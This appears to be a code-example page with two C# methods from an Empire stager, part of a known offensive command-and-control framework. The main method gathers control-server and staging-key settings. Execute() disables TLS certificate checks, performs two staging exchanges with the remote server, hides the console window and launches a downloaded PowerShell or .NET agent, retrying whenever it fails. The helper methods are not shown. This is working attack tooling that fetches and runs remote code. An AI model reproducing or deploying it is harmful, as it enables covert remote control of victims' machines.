Пример #1
0
        static void Main(string[] args)
        {
#if (COMMAND_LINE)
            if (args.Length < 3)
            {
                return;
            }
            SessionInfo sessionInfo = new SessionInfo(args);
#endif

#if (COMPILE_TIME)
            SessionInfo sessionInfo = new SessionInfo();
#endif

#if (PRINT)
            Console.WriteLine("EmpireServer:  {0}", sessionInfo.GetControlServers());
            Console.WriteLine("StagingKey:    {0}", sessionInfo.GetStagingKey());
            Console.WriteLine("AgentLanguage: {0}", sessionInfo.GetAgentLanguage());
#endif
            (new EmpireStager(sessionInfo)).Execute();
        }
Пример #2
0
        ////////////////////////////////////////////////////////////////////////////////
        public void Execute()
        {
            byte[] stage1response;
            byte[] stage2response;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
                delegate
            {
                return(true);
            }
                );

            try
            {
                stage1response = Stage1();
#if (PRINT)
                Console.WriteLine("Stage1 Complete");
#endif
                try
                {
                    stage2response = Stage2(stage1response);
#if (PRINT)
                    Console.WriteLine("Stage2 Complete");
#endif
                    try
                    {
#if (PRINT)
                        Console.WriteLine("Launching Empire");
                        IntPtr handle = Misc.GetConsoleWindow();
                        Misc.ShowWindow(handle, Misc.SW_HIDE);
#endif
                        if (sessionInfo.GetAgentLanguage() == "powershell" ||
                            sessionInfo.GetAgentLanguage() == "ps" ||
                            sessionInfo.GetAgentLanguage() == "posh")
                        {
                            PowershellEmpire(stage2response);
                        }
                        else if (sessionInfo.GetAgentLanguage() == "dotnet" ||
                                 sessionInfo.GetAgentLanguage() == "net" ||
                                 sessionInfo.GetAgentLanguage() == "clr")
                        {
                            DotNetEmpire();
                        }
                    }
                    catch
                    {
#if (PRINT)
                        Console.WriteLine("Empire Failure");
#endif
                        GC.Collect();
                        Execute();
                    }
                }
                catch
                {
#if (PRINT)
                    Console.WriteLine("Stage2 Failure");
#endif
                    throw;
                }
            }
            catch (WebException webError)
            {
                if ((int)((HttpWebResponse)webError.Response).StatusCode == 500)
                {
#if (PRINT)
                    Console.WriteLine("Stage1 Failure");
#endif
                    GC.Collect();
                    Execute();
                }
                else
                {
                    throw;
                }
            }
            catch (Exception error)
            {
#if (PRINT)
                Console.WriteLine("Stage1 Failure");
#endif
                Console.WriteLine(error.ToString());
            }
            finally
            {
                sessionInfo     = null;
                stagingKeyBytes = null;
                rsaCrypto       = null;
            }
        }